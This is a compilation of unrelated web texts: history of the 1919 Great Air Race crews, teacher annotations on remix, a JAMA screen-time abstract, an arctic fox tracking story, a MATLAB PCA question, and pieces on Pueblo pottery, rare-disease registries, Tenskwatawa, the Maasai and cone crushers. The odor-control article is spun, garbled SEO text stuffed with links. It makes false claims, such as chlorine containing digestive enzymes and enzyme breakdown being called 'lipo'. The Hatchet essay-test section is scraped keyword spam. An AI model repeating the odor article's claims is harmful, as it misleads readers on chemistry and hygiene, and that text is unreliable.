Yet as you’ll learn below, six Australian crews took up the challenge. And four were led by South Australian men who’d proven their skill and daring on the ground and in the air in WWI. Two crews perished and two others crashed out. Charismatic French pilot Etienne Poulet also took off from Paris, determined to be the first to Australia.
Only one aircraft reached the destination in the required 30 days – the Vickers Vimy, flown by South Australia’s Ross and Keith Smith.
Sopwith Wallaby
Adelaide’s George Matthews, front, and his mechanic Thomas Kay were the first Australian crew to depart Hounslow Aerodrome, but over the following months they suffered a series of disasters in their Sopwith Wallaby. After being snowbound for weeks in Germany, they eventually made it further south only to be imprisoned as suspected spies for four days on a pig farm in Yugoslavia (escaping only after their guards were sleeping off a big night of drinking). They were finally forced out of the race when they crashed in Bali.
Start: 21 October 1919
Finish: 17 April 1920 in Bali
The Sopwith Wallaby made it all the way to Bali, just a day from Australia, before crashing out. Photos courtesy Flight Global archive.
The fully-enclosed Alliance P.2 Endeavour left Hounslow a day after the Vickers Vimy and was considered a major contender, but within minutes tragedy struck. Spiralling out of control, the aircraft crashed into an apple orchard, killing both the pilot Roger “Dodger” Douglas and his navigator Leslie Ross.
Start: 13 November 1919
Finish: 13 November 1919 in Surbiton, UK
Roger Douglas and Leslie Ross ahead of their departure from Hounslow on 13 November 1919. Photo courtesy the Australian War Memorial [P16232.005]
Blackburn Kangaroo
WWI official Australian war photographer, South Australian-born Hubert Wilkins, led the Blackburn Kangaroo crew who made it as far as Crete before crashing into a ditch. Mishaps plagued the flight to such an extent there was talk of sabotage. Wilkins went on to become Sir Hubert, one of Australia’s most celebrated explorers. The other crew members were Valdemar Rendle, David (Reg) Potts and Garnsey Potts. You can read more about Hubert Wilkins, including the Blackburn Kangaroo’s flight, in The Last Explorer by Simon Nasht.
Start: 21 November 1919
Finish: 8 December 1919 in Suda Bay, Crete
The Blackburn Kangaroo suffered so many setbacks that sabotage was suspected. Photo courtesy Flight Global archive.
Martinsyde A1
Adelaide-born Cedric Howell, right, won three gallantry awards and was credited with destroying 19 enemy aircraft during the war, but his luck ran out in the Air Race. He and mechanic George Fraser both perished when their Martinsyde A1 crashed into stormy seas off the island of Corfu.
Start: 4 December 1919
Finish: 9 December 1919, St George’s Bay, Corfu
When Cedric Howell’s Martinsyde aircraft crashed into stormy seas off the island of Corfu, his new wife was not far away on a ship bound for Australia. No-one had the heart to tell her he’d died until she docked in Adelaide. Photos courtesy of the Flight Global archive.
Airco DH9
Air race officials tried to talk Ray Parer and his co-pilot John McIntosh from departing Hounslow, but they took off anyway despite the Vickers Vimy having landed in Darwin almost a month earlier. Their flight was so plagued with incidents and crash landings that Parer earned the nickname “Battling Ray Parer” (and sometimes “The Re-pairer”). But they did finally make it home, becoming only the second air race crew to land in Darwin. The Airco DH9, bought from a war salvage yard in the UK, became the first single-engine aircraft to fly from London to Australia. It remains on display today at the Australian War Memorial in Canberra.
Start: 8 January 1920
Finish: 2 August 1920 in Darwin
Caudron G4
Frenchman Etienne Poulet was ineligible to claim the £10,000 prize, but he was more than capable of stealing the glory by reaching Australia first. He and his mechanic Jean Benoist left Paris on 14 October (nearly a month before the Smith crew left Hounslow) and made it all the way to Burma in his tiny Caudron G4 before the Vickers Vimy overtook him.
Start: 14 October 1919 in Paris
Finish: 8 December 1919 in Burma (today’s Myanmar)
French pilot Etienne Poulet, left, and his mechanic Jean Benoist prepare to depart Paris in 1919. Image courtesy of the Caudron Museum, France.
Additional information and resources
For a comprehensive list of further reading materials on the Great Air Race and competing crews, visit our Recommended Reading page. |
15 Matching Annotations
1. Aug 2019
1. Genus Species + Species Hybrids Example
Great examples of remixes in the real world
2. •Photoshopping remixes (e.g., Lostfrog.org)•Music and music video remixes (e.g., Danger Mouse’s “Grey Album” and the Grey video)•Machinima remixes (e.g., Machinima.com)•Moving image remixes (e.g., Animemusicvideos.org)•Original manga and anime fan art (e.g., DeviantArt.com)•Television, movie, book remixes (e.g., Fanfiction.net)•Serviceware mashups (e.g., Twittervision.com)
Great resources.
3. Lessig (2005) provides a range of examples of the kinds of digital remix practices that in his view constitute “the more interesting ways [to write]” for young people. These include remixing clips from movies to create “faux” trailers for hypothetical movies; setting remixed movie trailers to remixed music of choice that is synchronized to the visual action; recording a series of anime cartoons and then video-editing them in synchrony with a popular music track; mixing “found” images with original images in order to express a theme or idea (with or without text added); and mixing images, animations and texts to create cartoons or satirical posters (including political cartoons and animations), to name just a few types. We accept this conceptual extension of “writing” to include practices of producing, exchanging and negotiating digitally remixed texts, which may employ a single medium or may be multimedia remixes. (We also recognize as forms of remix various practices that do not necessarily involve digitally remixing sound, image and animation, such as paper-based forms of fanfiction writing and fan-producing manga art and comics, which continue to go on alongside their hugely subscribed digital variants.
There are all very good examples. The great thing is, that as a language teacher there are so many different types of media that the students can really hone in on their interests.
4. where someone creates a cultural product by mixing meaningful elements together (e.g., ideas from different people with ideas of one’s own), and then someone else comes along and remixes this cultural artefact with others to create yet another artefact.
I think this could be fun to with students in Spanish. I can introduce music, poems, art and have students remix them.
1. Video Games (Is School Enough? Series)
2. Jul 2019
1. Interpretive Mode
Sharing good ideas, lesson plans and resources can benefit everyone. When we can share and critique each other's work we can make lessons better and come up with new ideas together as well
1. Stage 1 Fluency Example: The Menu Project
This is something I have done in my classroom. I must say the food unit is one of the engaging units because it is the most relevant things to human. We need food to survive.
1. TPACK Lesson
This is a great TPACK lesson for Spanish. I have done a lesson sort of like this with back-to-school flyers but I love how she takes it one step further and integrates twitter as well.
1. Find Native Speakers
This is a great idea to engage students. I have thought about it before but I have not yet put it into practice. I did pen pal letters one year but snail mail was too slow. I am going to try an incorporate this idea even more. |
Odor regulate will be as very important to commercial work environments since it is for everyday residing. With bacteria creating on fabrics which are not maintained adequately dry, it might build distressing and harmful scents within an natural environment that is improperly ventilated. Odor control is an easy method that is frequently misunderstood by many people today. Listed below are some essentials that you have to know to make an educated choice concerning your smells.
Odor control is carried out by reducing or neutralizing upsetting odors throughout numerous business products and solutions like running sneakers, gymnasium outfits, sports activities shorts, yoga exercises clothing, and so forth. Smells migh result from our vapors, pee and harmful bacteria or chemical compounds which have escaped from ruined food. Odor management takes place just before the area ends up being stinky. To commence, reduce and detect the primary causes of moisture which are building the condition.
Step one is usually to identify aspects of dampness that are not only present in bathrooms, but in every area of your center. Odor management pros use fresh air ductwork to gather any extra humidity that could get away into encompassing suites. This includes baths and restrooms. In order to kill germs in the air flow, the washing industry experts mist the location which has a anti-bacterial that breaks down the natural and organic material with the harmful bacteria, Digestive support enzymes have been found to work towards these microbes and they are generally seen in disinfectants, like chlorine.
. Chlorine can be a popular compound that is used in a large number of odours. This also functions as a preventive professional versus conditions such as lung microbial infection. In the event the vicinity is cleared of unwanted moisture, the experts should then clean the place with possibly an industrial odour removal or maybe enzyme therapy. Commercial stench removers are sufficiently strong to pierce the outer top of the skin area and job heavy into the skin pores. An enzyme treatment functions by wearing down the intricate carbo framework of harmful bacteria that are responsible for the unpleasant scent.
As stated before, most washrooms consist of a covering of sanitary cotton material that is certainly mixed with a number of chemical type methods. These organic cotton levels snare distressing scents and microorganisms. However, some refuse-handlers and routine maintenance staff build their unique upsetting smells by pressingwall surfaces and levels, and countertops with hands which might be messy. Sometimes it is finished when food items is in the restroom. It truly is common to the food to stick to the unwashed palms of refuse-handlers.
Enzymes work well from the microorganisms liable for distressing odor in public restrooms. These digestive enzymes are commonly found in industrial deodorizers and cleansers. They can be often put into any public restroom that may be polished often. Enzymes break-down the complex carbs system of microorganisms that are responsible for the disagreeable stench. The whole process of wearing down the elaborate carbs structure of microbes is recognized as lipo. Many significant health and resorts attention services have full time teams of pros that use business oriented deodorizers and cleansing agents to reduce the level of microbes that happen to be contained in their general public bathrooms.
Many public amenities such asspas and swimming pools, locker bedrooms, and baths contain a part of sanitary cotton materials consisting of many different organically grown elements. These all-natural compounds, when used on types of surface, may produce upsetting scents. https://onmenvironmental.com seen in these surface areas are chlorine and trihalomethanes (THMs). In past times, these compounds were used as disinfectants. Today, they are restricted from use within most facilities simply because they lead to several different severe health conditions. Quite linked site have been discovered to become carcinogenic.
Public program providers that give decline-working with solutions are already needed to evaluation their staff for contact with essentially risky chemical compounds in the last several years. Based on the US Environmental Protection Agency (EPA), “Now and again, the level of being exposed might be too much for our usage or for the community.” The EPA recommends that most personnel be examined during a 1-hour or so burst in case there is too much publicity. While https://onmenvironmental.com is very important minimize disagreeable scents that originate from these substances, it is actually equally important for decline-handlers to lessen the quantity of chemical substances that are utilized to do it. mouse click the up coming webpage of successful and secure refuse-handling tools are an important component during this approach. |
Hatchet essay test
His mother has asked his father for a divorce and his father now is living in Canada, while Brian lives in New York state with his mother. He knows she is having an affair, because he saw her in a car with the other man. His mother does not know he saw her and her boyfriend together.
Hatchet essay test
Use the entire Hatchet calendar, or supplement it with your own curriculum ideas. Calendars cover one, two, four, and eight week units. Determine how long your Hatchet unit will be, then use one of the calendars provided to plan out your entire lesson. Chapter Abstracts Chapter abstracts are short descriptions of events that occur in each chapter of Hatchet.
Hand the abstracts out in class as a study guide, or use them as a "key" for a class discussion. They are relatively brief, but can serve to be an excellent refresher of Hatchet for either a student or teacher. Character and Object Descriptions Character and Object Descriptions provide descriptions of the significant characters as well as objects and places in Hatchet.
The longest descriptions run about words. They become shorter as the importance of the character or object declines.
You can combine daily lessons or use the ideas within them to create your own unique curriculum. They vary greatly from day to day and offer an array of creative ideas that provide many options for an educator. The 20 enjoyable, interactive classroom activities that are included will help students understand Hatchet in fun and entertaining ways.
Hatchet essay test
Fun activities are a great way to keep students interested and engaged while still providing a deeper understanding of Hatchet and its themes. Students should have a full understanding of the unit material in order to answer these questions.Hatchet Questions and Answers.
The Question and Answer section for Hatchet is a great resource to ask questions, find answers, and discuss the novel. This page book study for Hatchet, by Gary Paulsen, contains comprehension by chapter, vocabulary challenges, creative reading response activities and projects, tests, and much more!You will find this literature guide to be teacher and student friendly.
Why did Brian take his knife and hatchet when he went to look for the wolf kill?
Hatchet Worksheets - benjaminpohle.com
2. What kind of deer was it that the wolves had killed? 3. Why did Brian think that the deer was a treasure? 4. What does it mean when someone or something salivates? 5. Why did Brian not . Hatchet Essay Topics & Writing Assignments Gary Paulsen This set of Lesson Plans consists of approximately pages of tests, essay questions, lessons, and other teaching materials.
The “Hatchet Novel Test” comes complete with multiple choice, fill in the blank, matching, and essay questions as well as a comprehensive answer key (6 pages). Preview 5 comments - Add Comment Permalink.
Commenting on post: Blacksmith-Made Hatchet Test. Posted by t.c. worley - 12/14/ PM. Wow, never had hatchet envy until now. These 20 Essay Questions/Writing Assignments can be used as essay questions on a test, or as stand-alone essay topics for a take-home or in-class writing assignment on Hatchet.
Hatchet Test, Hatchet Whole Book Test - Margaret Whisnant - benjaminpohle.com |
Association of Screen Time and Depression in Adolescence
JAMA Pediatr. 2019 Jul 15;173(9):853-859. doi: 10.1001/jamapediatrics.2019.1759. Online ahead of print.
Objective: To repeatedly measure the association between screen time and depression to test 3 explanatory hypotheses: displacement, upward social comparison, and reinforcing spirals.
Design, setting, and participants: This secondary analysis used data from a randomized clinical trial assessing the 4-year efficacy of a personality-targeted drug and alcohol prevention intervention. This study assessed screen time and depression throughout 4 years, using an annual survey in a sample of adolescents who entered the seventh grade in 31 schools in the Greater Montreal area. Data were collected from September 2012 to September 2018. Analysis began and ended in December 2018.
Main outcomes and measures: Independent variables were social media, television, video gaming, and computer use. Symptoms of depression was the outcome, measured using the Brief Symptoms Inventory. Exercise and self-esteem were assessed to test displacement and upward social comparison hypothesis.
Results: A total of 3826 adolescents (1798 girls [47%]; mean [SD] age, 12.7 [0.5] years) were included. In general, depression symptoms increased yearly (year 1 mean [SD], 4.29 [5.10] points; year 4 mean [SD], 5.45 [5.93] points). Multilevel models, which included random intercepts at the school and individual level estimated between-person and within-person associations between screen time and depression. Significant between-person associations showed that for every increased hour spent using social media, adolescents showed a 0.64-unit increase in depressive symptoms (95% CI, 0.32-0.51). Similar between-level associations were reported for computer use (0.69; 95% CI, 0.47-0.91). Significant within-person associations revealed that a further 1-hour increase in social media use in a given year was associated with a further 0.41-unit increase in depressive symptoms in that same year. A similar within-person association was found for television (0.18; 95% CI, 0.09-0.27). Significant between-person and within-person associations between screen time and exercise and self-esteem supported upward social comparison and not displacement hypothesis. Furthermore, a significant interaction between the between-person and within-person associations concerning social media and self-esteem supported reinforcing spirals hypothesis.
Conclusions and relevance: Time-varying associations between social media, television, and depression were found, which appeared to be more explained by upward social comparison and reinforcing spirals hypotheses than by the displacement hypothesis. Both screen time modes should be taken into account when developing preventive measures and when advising parents. |
February 28, 2021
The long journey of an arctic fox: from Norway to Canada in 76 days | Society
From Norway to Canada, a young specimen of the Arctic fox traveled 3,506 kilometers in just 76 days, traversing the Arctic cliffs on one of the longest recorded trips of this species. The fox left from Spitsbergen, in the Norwegian archipelago of Svalbard, on March 26, 2018, and arrived on the island of Ellesmere, in Canada, on June 10 of that year. In a straight line, the distance covered is 1,789 kilometers. It is, according to scientists, the first satellite tracking of the dispersion of this species between continents.
"Crossing vast expanses of sea ice and glaciers, the female moved at an average of 46.3 kilometers a day," explain the Norwegian Polar Institute researchers who have documented this journey. The highest recorded speed, 155 kilometers in a day, occurred in the ice sheet of northern Greenland. It is also the fastest record of this species.
The animal is one of the 54 specimens that the Norwegian Polar Institute has studied since 2012 through necklaces with satellite tracking devices. Belonging to the subpopulation known as blue, dark colored and more typical of the coastal areas, the fox was captured through a trap cage on July 29, 2017, probably near its birthplace, around the Fjor-tende glacier Julibreen, according to the researchers explain in a document entitled The dispersal of the Arctic fox from Svalbard to Canada: the long journey through the sea ice of a female.
At the time of his capture, the animal weighed 1,900 grams, and was listed as a young specimen. The total distance recorded since the beginning of the follow-up, on March 1 of last year, until it settled on the island of Ellesmeere four months later, the fox traveled a total of 4,415 kilometers. The necklace transmitted a signal for three hours a day.
According to his record, the fox was first met with ice-covered sea on March 26, which he used to leave the island of Spitsbergeny heading northeast. A day later, his route turned north and east, towards Greenland. It took 21 days to arrive, on April 16. Finally, he arrived on the island of Ellesmere on June 10, where he remained in a limited area around the peninsula of Fosheim Peninsula. On two occasions, its travel rhythm slowed down to 10 kilometers per day for 48 hours, which, according to the researchers, could be due to physical barriers in the seabed, bad weather or any source of food. . It is not known what happened to the animal since February 6 of this year, when the transmitter stopped issuing its signal.
The route followed by the arctic fox.
The route followed by the arctic fox.
The blue polar foxes, according to the researchers, Eva Fuglei and Arnaud Tarroux, are of a darker color, reflecting that they move often in terrains of this tone, in ice and coastal regions without snow in winter. They live mainly from food from the sea. The other subspecies, of the interior, is of a predominantly white color and feeds mainly on a rodent, the lemming. The long journey of the fox under study also implies that it changed ecosystem and source of food, from one coastal to one where lemming is its main prey.
Although the inverse case is more frequent, the one of the emigration of foxes of interior to coastal zones, where the sources of food are more stable, sometimes, as it is the case, the blue foxes realize long trips, probably due to the scarcity of Dams for several weeks in winter.
According to the researchers, there are very few populations of this species of fox totally isolated, although the rapid warming of the Arctic could change it. In the waters around Svalbard, the reduction in the extent of the sea ice has already affected several species of marine mammals. According to the authors of the study, if Svalbard ends up having no ice during the whole year, the population of Arctic foxes would be isolated, although it could still be viable, as in Iceland.
(tagsToTranslate) long (t) trip (t) fox (t) arctic (t) arctic (t) norway (t) canada (t) 76 (t) day (t) animal (t) walk (t) 3,500 kilometers (t) speed (t) mean (t) medium (t) 46 kilometers
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I try to calculate the PCA in my matrix and I use two ways for this:
1. PCA function
[coeff, score, eigenvalues] = pca(M);
2. And for compare and understand the PCA calculus, I try to calculate step by step the PCA without the matlab function pca.
%// first I "z-scored" my matrix
X = zscore(M);
%// second I calculate the covariance matrix
%// this matrix is equals to the correlation matrix
V = cov(X);
%// Third, I calculate the eigenvalues(E) and eigenvectors(U)
[U,E] = eig(V);
The pca function's eigenvalues are not equal to E and I think the columns of U are principal components and rows of U are variables and it's not equal to coeff.
So, I think that I don't understand how calculate the PCA of a matrix?
• 3
$\begingroup$ I don't use MATLAB often, but its pca function might not do a z-score first. The preliminary standardization is helpful for statistical applications, but other applications of PCA don't require any transformation so the standard MATLAB call might not include it. $\endgroup$ – EdM Jul 29 '15 at 23:38
• $\begingroup$ I replace M by X in the pca function's and i don't found a equal result. My "manual" calculus have sense or not? $\endgroup$ – salt Jul 30 '15 at 1:54
• 1
$\begingroup$ mathworks.com/help/stats/pca.html says pca(data) centers the data. But you did z-standardization X = zscore(M). That is, center-then-scale operation. $\endgroup$ – ttnphns Jul 30 '15 at 10:39
• $\begingroup$ Sushi, please edit your question to reflect changes you did after @EdM's comment (+1). $\endgroup$ – amoeba Jul 30 '15 at 14:18
• $\begingroup$ It would help if you could show a simple example that illustrates the problem, like a 3 x 3 matrix. $\endgroup$ – EdM Jul 30 '15 at 14:38
The problem is the zscore function. If I do a "manual" z-scoring in my matrix I find the same result as with pca:
M = [10,5,14;12,5,45;123,58,42];
%// "manual" zscore
stdr = std(M);
X = M./repmat(stdr,size(M,1),1);
%// "manual" PCA
V = cov(X);
[U,E] = eig(V);
%// with pca function
[coeff,score,eigenvalue] = pca(X);
E equals eigenvalue and coeff equals U so I'm ok, I think I understand how calculate a PCA.
• 1
$\begingroup$ If you run cov(zscore(M)) you will get exactly the same output as with cov(X) (I checked), so I don't think that there is any problem with the zscore function. Your manual zscoring produces identical output. $\endgroup$ – amoeba Jul 30 '15 at 20:59
• $\begingroup$ The coeff result is sorted, maybe i don't pay attention at this before. $\endgroup$ – salt Jul 30 '15 at 21:28
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The process of creating Santa Clara, or any other traditional Pueblo pottery, is exacting and challenging. From locating the clay source, digging it out of the ground, cleaning it, creating the pot by hand using the coil method, carving or painting designs on the pot, polishing it and then firing it under a pile of Pinon or sheep manure, it is a long process.
If everything is not done correctly, the pot may break when fired. If the wind comes up, the finish will not be perfect. It is difficult to make a simple basic pot, but creating a unique, elegant and technically perfect pot is very, very challenging. It is for these reasons that so few potters reach that level of artistry.
It is for those same reasons that so few young people take up the art of pottery making. Of those that do, few will become great artists.
One woman who will always be regarded as one of the finest Pueblo potters was Teresita Tafoya Naranjo. Born in 1919, she began potting in the mid-1930’s and was active until she passed on in 1999. She was the daughter of Christina Naranjo and the niece of Margaret Tafoya, considered the master potter of Santa Clara Pueblo.
Her pottery, done in both black and red, always had a wonderful finish and the carving was exquisite!
These three pieces of Teresita’s pottery are examples of three different styles of her work. She was an incredibly talented and celebrated artist. |
women sitting at a desk
Rare diseases affect a relatively small number of people, so it can be difficult for healthcare providers, government agencies, advocacy groups, pharmaceutical companies, and others to access information about the experiences of those living with rare diseases.
Information that comes directly from patients and caregivers helps companies design clinical trials to test possible treatments. It also helps them determine which tests show if a potential treatment works and what problems are most important to address from the perspective of those who live with the condition being studied. Reviews of medical literature and discussions with doctors are not enough to truly understand how a condition affects how someone feels or functions, or what’s most important to them.
Goals and Benefits of Collecting Data
Collecting data from personal experiences, standardized surveys and assessments, and medical records can benefit individuals with rare disease, and the broader rare disease community. It’s essential to have as much information as possible, over a long period of time, to achieve important goals like:
• Understanding the natural history of a condition and how it may progress over time,
• Helping affected people manage their disease1,
• Informing and shaping laws and policies for the rare community2,
• Figuring out how to test potential new therapies3,
• Improving treatment choices and quality of life for patients.
Clinical trial sponsors (the organizations that oversee or pay for a clinical trial and collect and analyze the data) may conduct different types of research to determine what tests should be administered in a clinical trial or uncover areas for further study.
icon of a person in front of a computer
Burden of disease surveys provide an opportunity to quantify information, generalize findings from the sample to a larger population, and statistically analyze the results to draw meaningful research conclusions
icons 3 people sitting around a table
Advisory boards and interviews explore open-ended questions in a small group to get feedback from those most affected and insights into the experiences of living with a rare disease
Magnifying glass with graphi
Studies to assess instruments that measure symptoms and functional impact identify potential meaningful outcome assessments
Pilot studies assess the relevance, understanding, and usability of a diary or other collection tools by the participants or care partner
Patient Registries
Patient registries are a collection of information about individuals, usually focused on a specific diagnosis or condition,3 including symptoms, how the disease may change over time, who it affects, and how well treatment options are working. Individuals provide information about themselves to these registries on a voluntary basis. Registries can be sponsored by a government agency, nonprofit organization, healthcare facility, or private company.
The data collected in a patient registry will vary depending on the registry’s purpose. There is no standard form, and the goals and objectives of different registries are diverse, but most registries will fall into one of these categories:
• Contact – collects name, contact information, and demographic information such as location, age, and sex
• Clinical – studies the natural history of the disease over time, collects information such as symptoms and when they began, and sometimes includes medical records and images
• Product – studies the history of people taking a certain treatment or using a certain medical device over time
• Combination – combines some aspects of these different types of registries together
Discover more: Click here to watch a short video of representatives from rare disease organizations speak about the National Organization of Rare Disorders (NORD) patient registry program.
Disease Monitoring Programs
There are many ways to collect data, and some organizations or companies take different approaches. Ultragenyx collects data in the form of disease monitoring programs (DMPs). While some aspects of a DMP may be similar to a registry, it is designed to provide more standardized, consistent, focused, and longitudinal (collected over a long period of time) data about health outcomes. DMPs combine a few different types of studies and data collection techniques into one program (a patient registry, a natural history study, and post-marketing evaluation).4
Natural history study – This is a study that follows a group of people over time who have, or are at risk of developing, a specific medical condition or disease. A natural history study collects health information to understand how the medical condition or disease progresses and how to treat it.5
Post-marketing evaluation – Companies that make therapies, and the U.S. Food and Drug administration (FDA), collect information after the therapy has been approved for widespread use. They do this to identify any possible side effects or new safety concerns that were not identified in clinical trials.6
DMPs are different from patient registries in a few key ways:
• They are designed to include standardized assessments to help keep the data consistent, which can lead to more accurate assessments of the condition being studied
• They bring together multiple stakeholders, such as pharmaceutical companies, advocacy organizations, and academic centers, collecting information from many groups in addition to patients
• They provide specific timelines and reminders to help participants share information
• They use some methods similar to a clinical trial, such as site selection requirements, site monitoring, and document verification, which help create better data
• Their goal is to share each participants’ own data back with them as early as possible – though it isn’t always available right from the start.
Like patient registries, DMPs are critical in building a knowledge base, improving understanding about rare diseases, and developing new treatments. They are designed to encourage patients, doctors, and researchers to work together towards a common goal. There are different ways to participate in DMPs too. Some may be in-clinic and others may be online.
Discover more: Ultragenyx’s X-linked hypophosphatemia (XLH) DMP is a combination of in-clinic assessments and BEYONDXLH, which collects information from people living with XLH, a rare genetic condition that causes low levels of phosphate in the bloodstream.
Patient-Focused Data Collection
One of the most valuable sources of data for rare disease patients is their medical records, which include data that can be summarized and paired with other evidence like imaging and lab results. These data can help patients and researchers better understand the patient journey, including the path to diagnosis, care management, treatment, and disease progression. Linking medical records to patient-reported outcomes enables the research to capture not only data from routine clinical care, but also better understand the patient and caregiver’s experience before, during, and after care.
Discover more: Examples of patient-focused data collection include “LC-FAOD Odyssey” and “Wilson Disease Odyssey” for long-chain fatty acid oxidation disorders (LC-FAOD) and Wilson Disease (WD), respectively.
Get Involved
If you decide to participate in any form of data collection about your condition, it is important to remember to participate as instructed. When there are time gaps in participation or people unexpectedly stop participating, the data collected may not be accurate or complete, and this will limit the amount of information that can be used.
If you’re interested in participating in a DMP, registry, or another type of data collection and want to learn more, ask your healthcare providers or disease-specific patient groups about any programs, and check out these links:
1. Kodra Y, Weinbach J, Posada-de-la-Paz M, et al. Recommendations for Improving the Quality of Rare Disease Registries. Int J Environ Res Public Health. 2018;15(8):1644. 2. Cavero-Carbonell C, Gras-Colomer E, Guaita-Calatrava R, et al. Consensus on the criteria needed for creating a rare-disease patient registry, A Delphi study. J Public Health, 2016;38(2):178-186 3. Jansen-van der Weide, MC, Gaasterland, CMW, Roes, KCB et al. Rare disease registries: potential applications towards impact on development of new drug treatments. Orphanet J Rare Dis 13, 154 (2018). 4. Ultragenyx. (2013, April 8). Ultragenyx Initiates Novel Disease Monitoring Program for Hereditary Inclusion Body Myopathy [Press release]. https://ir.ultragenyx.com/static-files/36b626a8-b6db-4646-8c4e-12c1dd22ae22 5. National Cancer Institute. NCI dictionary of cancer terms. Cancer.gov website. Accessed October 26, 2020. https://www.cancer.gov/publications/dictionaries/cancer-terms/def/natural-history-study 6. U.S. Food and Drug Administration. Postmarket drug and biologic safety evaluations. FDA website. November 6, 2019. Accessed October 26, 2020. https://www.fda.gov/drugs/surveillance/postmarket-drug-and-biologic-safety-evaluations |
Tenskwatawa | American Battlefield Trust
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War of 1812
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Tenskwatawa "The Open Door"
Tribal Leader
War of 1812
c. January 1775 - c. November 1836
Originally born Lalawethika, meaning “the rattle” in Algonquian, Tenskwatawa was a unique individual living on the fringe of Shawnee society. At the young age of four his mother abandoned him and his siblings, leaving them alone and in the care of older tribesmen. During his formative years, Tenskwatawa proved to be out of tune with the athletic lifestyle of the Native Americans, never grasping the art of fighting or hunting, it is said that he even lost his right eye while notching an arrow. Tenskwatawa became an alcoholic, and claimed that one evening in 1805 while under the bottle he fell into a trance where he was visited by the Great Spirit. The Great Spirit prompted him to reject the ways of the European settlers, including alcohol consumption. After his spiritual awakening Lalawethika changed his name to Tenskwatawa, the “open door,” and began preaching resistance to nearby tribes. Paired with his brother Tecumseh, Tenskwatawa created Prophetstown in 1808, a settlement designed to be the heart of a new Native American confederation that would halt the advance of white settlement. Tenskwatawa took the role of medicine man while his brother Tecumseh was the military leader. Prophetstown was destroyed in 1811 by William Henry Harrison following the Battle of Tippecanoe, effectively ending any hopes of a Native American confederation and ruining Tenskwatawa’s reputation as a prophet. With Prophetstown in ruins, Tenskwatawa and Tecumseh allied with the British in the upcoming War of 1812. Tecumseh and Tenskwatawa played an integral role in the capture of Fort Detroit in 1812 by British and Native American forces. Tenskwatawa returned to the United States in 1825 and assisted in the relocation of the Shawnee to Kansas. He died in 1836 a forgotten leader once again living on the fringe of society. |
The Maasai people of Kenya
The Maasai people of Kenya
The Maasai are pastoral nomads who have actively resisted change, and many still follow the same lifestyle they have for centuries. Their traditional culture centers on their cattle, which, along with their land, are considered sacred. Cows provide many of their needs: milk, blood, and meat for their diet, and hides and skins for their clothing, although sheep and goats play an important role in dietary, especially during the dry season.
Maasai society is patriarchal and highly decentralized. Maasai boys pass through a number of transitions during their life, the first of which is marked by the circumcision rite. Successive stages include junior warriors, senior warriors, junior elders, and senior elders; each level is distinguished by its own unique rights, responsibilities, and dress. Junior elders, for example, are expected to marry and settle down sometime between ages 30 and 40. Senior elders assume the responsibility of making wise and moderate decisions for the community. The most important group is that of the newly initiated warriors, moran, who are charged with defending the cattle herds.
Maasai women play a markedly subservient role and have no inheritance rights. Polygamy is widespread and marriages are arranged by the elders, without consulting the bride or her mother. Since most women are significantly younger than men at the time of marriage, they often become widows; remarriage is rare.
The Samburu, who live directly north of Mt Kenya, are closely related to the Maasai linguistically and culturally.
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Storylines for Schools
1. I attempted this app for the first time with Mrs. Yoder's first graders yesterday. They really enjoyed it, but she had a few students that were jamming up their entire group. They either would get mad because they didn't know what to draw, or they weren't sure how to properly take turns by passing the devices around. This made the students that were paying attention and wanted to play the game very frustrated . I would recommend talking about fairness and how important it is that they try to be fair to their group by making things run smoothly. It doesn't matter if they do not fully understand the sentence that was written; they need to try to illustrate it anyway for the sake of their entire group. I think it will take time for some of the students to understand this, but the groups that were able to finish quickly enjoyed the reward of seeing the final project.
3. Probably should specify that this was a fourth grader's example. :) Leave it to fourth graders to make it end up in this direction...
4. And specify who was the adult in the room with them during this activity :)
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Lamb To The Slaughter Macbeth Betrayal Quotes
1070 Words5 Pages
Many people in stories or the real world have had history of betraying others for many reasons. For example, in the story, Macbeth, one of the main characters, Macbeth, decides to betray people in the story all because of his selfishness. On the other hand, in the story, Lamb to the Slaughter, Mary Maloney betrays her husband because of how he treats her making her want revenge on her husband. In addition, in, Scarlet Ibis, Doodle’s brother betrays Doodle due to the fact that that Doodle does not reach his expectations as a brother he wants. Betrayal can be evidently seen in all of the stories in which Macbeth’s greed, Mary’s revenge, and Doodle’s brother’s selfishness led to many deplorable effects because of their betrayal to others. In the story, Macbeth, the main character, Macbeth, gets too engulfed in his greed making him betray the people around him. For example, this quote from the story shows him plotting to kill King Duncan in order to become the King of Scotland. “Is this a dagger which I see before me, The handle toward my hand? Come, let me clutch thee,” (2.1.33-34). This quote shows that Macbeth’s greed leads to him…show more content…
For example, in Macbeth’s case, him being engulfed in greed leads to him wanting more, but is, unfortunately, slain and killed for trying to do so. On the other hand, Mary only betrays and murders her husband to get revenge on him for trying to leave her which leads to her feeling regret for what she does. Furthermore, Doodle’s brother decides to leave Doodle to die in the rain because he is a disappointment which ultimately leads to Doodle’s brother to feel guilt and sorrow. Overall, because they decided to betray others around them, these three main characters were faced with the effects of their actions on people around them and ultimately
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Cone Crusher VS Gyratory Crusher
differece between cone crushers and gyratory crushers
{Cone Crusher vs Gyratory Crusher}Both cone and gyratory crushers have a cone, and their outline that looks have a little resemblance. The two crushers can continuous working, and their working principle in the same way. But the cone crusher vs gyratory crusher, their structure and performances are different.
Structure Different
1. Cone
The cone liners of the gyratory crusher are steeply inclined. The movable cone that up part is small and lower structure is large, while the fixed cone in which the top is big and the bottom is small. Therefore, it can increase ore feeding capacity. The cone of cone crusher is gently inclined, and the movable cone and fixed cone are placed in the truncated cone. There is a certain length of parallel ore crushing zone between the two parts, which can better control the size of ore discharge. Under the action of the high rotating speed movable cone, the ore is guaranteed to be crushed at least once in the parallel zone. As a result, the product has a uniform particle size.
The movable cone of the gyratory crusher is suspended on the crossbeam, and the movable cone of the cone crusher is supported on the spherical bearing. If it also uses suspension structure which will affect the uniform feeding. The dust-proof device of the cone crusher is more strict, and the water seal dust-proof device is often used.
cone & gyratory crusher
2. Safety device
The discharge gate of the gyratory crusher is large, so the size of the small non-broken things such as hammer allowed through. There isn’t much required in its safety device. But the cone crusher must be equipped with a safety device, and the requirements of reliable work. A precompression spring safety device or a hydraulic safety device is usually used.
3. Adjust discharge size way
